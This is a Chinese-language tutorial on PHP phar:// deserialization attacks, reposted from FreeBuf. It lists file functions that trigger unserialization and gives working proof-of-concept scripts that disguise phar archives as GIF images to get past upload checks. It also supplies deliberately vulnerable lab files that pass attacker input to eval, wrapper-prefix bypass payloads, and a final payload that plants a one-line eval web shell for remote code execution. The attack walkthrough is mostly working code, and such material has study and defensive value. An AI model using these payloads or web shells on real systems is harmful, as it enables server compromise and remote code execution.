31

PHAR反序列化拓展操作总结

 4 years ago
source link: https://www.tuicool.com/articles/jy2iAvn
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文原创作者:cck,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

近些阵子反序列化漏洞横行,看了几篇文章,整个漏洞发现过程是非常有意思的,所以希望总结下来,分享给大家一起研究讨论,如有不足还请多多指正。

正文

phar RCE

2018年HITCON上,baby cake这一题,涉及到了今年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题,具体可以看这里【 传送门 】。它的主要内容是,通过phar://协议对一个phar文件进行文件操作,如file_get_contents,就可以触发反序列化,从而达成RCE的效果。

因为在 phar.c#L618 处,其调用了 php_var_unserialize:

if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {

因此可以构造一个特殊的phar包,使得代码能够被反序列化,从而构造一个POP链。这一部分已经常见了,在使用phar://协议读取文件时,文件会被解析成phar( http://php.net/manual/zh/intro.phar.php )   

解析过程中会触发php_var_unserialize()函数对meta-data的操作,造成反序列化。

延伸

知道创宇 404 实验室的研究员 seaii 更为我们指出了所有文件函数均可使用( https://paper.seebug.org/680/ ):

fileatime / filectime / filemtimestat / fileinode / fileowner / filegroup / filepermsfile / file_get_contents / readfile / `fopen``file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writableparse_ini_fileunlink        copy

7VfI3uJ.jpg!web

在 zsx 师傅的文章又通过 php_stream_open_wrapper 方法的调用函数中,探索出一些新的可用函数!

exif

exif_thumbnailexif_imagetype

gd

imageloadfontimagecreatefrom***

hash

hash_hmac_filehash_filehash_update_filemd5_filesha1_file

file / url

get_meta_tagsget_headers

standard

getimagesizegetimagesizefromstring

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

如果 phar://不能出现在头几个字符怎么办?

demo.php?filename=compress.bzip2://phar://upload_file/shell.gif/a

验证

代码

<?php
error_reporting(0);
$filename=$_GET['filename'];
if (preg_match("/\bphar\b/A", $filename)) {
    echo "stop hacking!\n";
}
else {
    class comrare
    {
        public $haha = 'haha';

        function __wakeup()
        {
            eval($this->haha);
        }

    }

    imagecreatefromjpeg($_GET['filename']);
}
?>

poc 验证

<?php
class comrare
{
    public $haha = 'comrarezzzzz';

}
@unlink('shell.phar');
$phar = new Phar("shell.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new comrare();
//$object ->haha= 'eval(@$_POST[\'a\']);';
$object ->haha= 'phpinfo();';
$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

这个 poc 同时绕过了 gif 限制和 phar 开头限制,同样我们可以 getshell 成功!

测试

首先我们自己生成一个 phar 文件来观察它的结构,php 内置了一个 Phar 类来处理相关操作!

操作前请注意: 要将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件。

<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub
$o = new TestObject();
$o -> data='cck';
$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行后会生成一个 phar 文件在当前目录

7FVZVrj.jpg!web

我们观察下它的文件结构

AFZ36j7.jpg!web

可以明显的看到 meta-data 是以序列化的形式存储的。       

有序列化数据必然会有反序列化操作,php 大部分的文件系统函数在通过 phar://伪协议解析 phar 文件时,都会将 meta-data 进行反序列化!

漏洞 php

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

Zj67jaV.jpg!web

将 phar 伪造成其他格式的文件

在前面分析 phar 的文件结构时可能会注意到,php 识别 phar 文件是通过其文件头的 stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将 phar 文件伪装成其他格式的文件。

JrUJraJ.jpg!web

伪造 gif 文件代码:

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置 stub,增加 gif 文件头
    $phar ->addFromString('test.txt','test');  //添加要压缩的文件
    $object = new TestObject();
    $object -> data = 'cck';
    $phar -> setMetadata($object);  //将自定义 meta-data 存入 manifest
    $phar -> stopBuffering();
?>

file phar.phar 如下

BBvInuI.jpg!web

这种方法可以用于上传检测!

利用

在别人复现的基础上实现了 RCE

条件

phar 文件要能够上传到服务器端。

如 file_exists(),fopen(),file_get_contents(),file() 等文件操作的函数

要有可用的魔术方法作为「跳板」。

文件操作函数的参数可控,且:、/、phar 等特殊字符没有被过滤。

环境文件

upload_file.php,后端检测文件上传,文件类型是否为 gif,文件后缀名是否为 gif

upload_file.html 文件上传表单

file_un.php 存在 file_exists(),并且存在__destruct()

文件内容

upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }

upload_file.html

<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

实现流程

首先是根据 file_un.php 写一个生成 phar 的 php 文件,当然需要绕过 gif,所以需要加 GIF89a,然后我们访问这个 php 文件后,生成了 phar.phar,修改后缀为 gif,上传到服务器,然后利用 file_exists,使用 phar://执行代码

构造代码

首先用 eval.php 生成执行 phpinfo 的文件

<?php
class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

访问 eval.php,会在当前目录生成 phar.phar,然后修改后缀 gif

yQvui2b.jpg!web

上传成功,获得上传目录

zYf63aQ.jpg!web

然后利用 file_un.php。

payload:filename=phar://upload_file/phar.gif

UjIzIjb.jpg!web

执行 phpinfo 成功!

RCE

既然代码能执行成功,又存在命令执行函数,我们就可以实现 RCE 获得 shell! 我们尝试上传一句话木马,修改后的文件如下:

<?php
class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'eval(@$_POST[\'a\']);';
//$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

同样的步骤上传,尝试连接,成功 getshell!

ZjYBBjZ.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK